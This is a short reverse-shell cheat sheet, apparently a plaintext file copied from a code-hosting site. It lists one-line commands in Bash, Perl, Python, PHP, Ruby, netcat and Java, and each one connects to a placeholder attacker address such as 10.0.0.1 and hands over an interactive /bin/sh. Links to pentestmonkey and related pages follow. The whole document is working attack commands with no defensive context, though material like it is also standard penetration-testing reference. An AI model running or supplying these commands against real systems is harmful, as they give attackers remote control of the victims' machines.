33 lines
1.2 KiB
Plaintext
33 lines
1.2 KiB
Plaintext
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Shell cheatsheet
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================
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Bash
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bash -i >& /dev/tcp/HOST/PORT 0>&1?
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Perl
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perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
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Python
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python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
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PHP
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php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
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Ruby
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ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
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nc
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nc -e /bin/sh 10.0.0.1 1234
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Java
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r = Runtime.getRuntime()
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p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
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p.waitFor()
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More info and tips
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http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
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http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-122387
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http://unix.stackexchange.com/questions/116010/meaning-of-bash-i-dev-tcp-host-port-01
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